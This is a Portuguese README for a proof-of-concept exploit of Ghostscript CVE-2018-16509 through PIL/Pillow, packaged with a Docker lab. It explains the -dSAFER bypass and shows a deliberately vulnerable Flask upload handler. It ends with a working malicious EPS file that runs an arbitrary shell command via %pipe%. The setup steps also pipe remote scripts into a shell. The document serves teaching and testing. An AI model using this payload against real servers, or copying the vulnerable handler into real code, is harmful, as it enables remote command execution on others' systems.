
PoC + Ambiente Docker para Execução Remota de Comandos Shell em Python PIL/Pillow via Ghostscript CVE-2018-16509
Inspirado por https://github.com/ysrc/PIL-RCE-By-GhostButt (RCE no PIL/Pillow via CVE-2017-8291). Esta versão do ambiente docker está usando a versão mais recente do Ghostscript (v9.23) e o exploit mais recente (CVE-2018-16509).
Ghostscript é um conjunto de softwares baseado em um interpretador para as linguagens de descrição de página PostScript da Adobe Systems e PDF (Portable Document Format). De alguma forma, o Ghostscript está presente no servidor de produção (por exemplo, /usr/local/bin/gs) mesmo quando nenhum aplicativo o utiliza diretamente, porque o Ghostscript é instalado como dependência de outro software (por exemplo, ImageMagick). Várias vulnerabilidades foram encontradas no Ghostscript; uma delas é a CVE-2018-16509 (descoberta por Tavis Ormandy do Google Project Zero), uma vulnerabilidade que permite a exploração da bypass do -dSAFER no Ghostscript anterior à v9.24 para executar comandos arbitrários ao manipular uma restauração falha (grestore) no PostScript para desabilitar o LockSafetyParams e evitar o invalidaccess. Essa vulnerabilidade é acessível através de bibliotecas como ImageMagick ou bibliotecas de imagem na linguagem de programação com wrapper do Ghostscript (PIL/Pillow neste exemplo).
Para testes e prova de conceito, podemos tentar o exploit em um ambiente docker.
Instale o docker/docker-compose no Ubuntu:
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
Os passos de instalação do docker e docker-compose para outros sistemas operacionais podem ser ligeiramente diferentes, consulte a documentação do docker para detalhes.
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
O aplicativo Flask vulnerável pode ser acessado em http://127.0.0.1:8000. Você pode parar o ambiente após o teste.
docker-compose down -v
Você pode enviar rce.jpg (uma imagem EPS especialmente criada, não um JPG real) para executar touch /tmp/got_rce no servidor. Como prova, você pode executar docker exec [CONTAINER_ID] ls -alt /tmp. Para obter o CONTAINER_ID, você pode verificar com docker container ls. Para alterar a execução do shell para outros comandos, você pode alterar touch /tmp/got_rce diretamente no rce.jpg.
Você pode consultar a explicação da vulnerabilidade por Tavis Ormandy em oss-security.
Você pode verificar o código fonte do wrapper Ghostscript do PIL/Pillow em EPSImagePlugin.py.
Este é o código vulnerável de app.py:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
O conteúdo do arquivo enviado será carregado por img = Image.open(img_path). O PIL detectará automaticamente se a imagem é uma imagem EPS (exemplo: adicionar %!PS-Adobe-3.0 EPSF-3.0 no início do arquivo) e chamará _open() na classe EpsImageFile em EPSImagePlugin.py. Para evitar raise IOError("cannot determine EPS bounding box"), uma caixa delimitadora precisa ser adicionada ao arquivo (exemplo: %%BoundingBox: -0 -0 100 100).
O corpo da imagem EPS será processado pelo binário do Ghostscript com subprocess como podemos ver em EPSImagePlugin.py na função Ghostscript.
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
O código acima é chamado quando load é chamado em Image.py, portanto, apenas abrir a imagem não acionará a vulnerabilidade. Funções como resize, crop, rotate e save chamarão load e acionarão a vulnerabilidade.
Combinado com o POC de Tavis Ormandy, podemos criar rce.jpg para execução remota de comandos shell.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops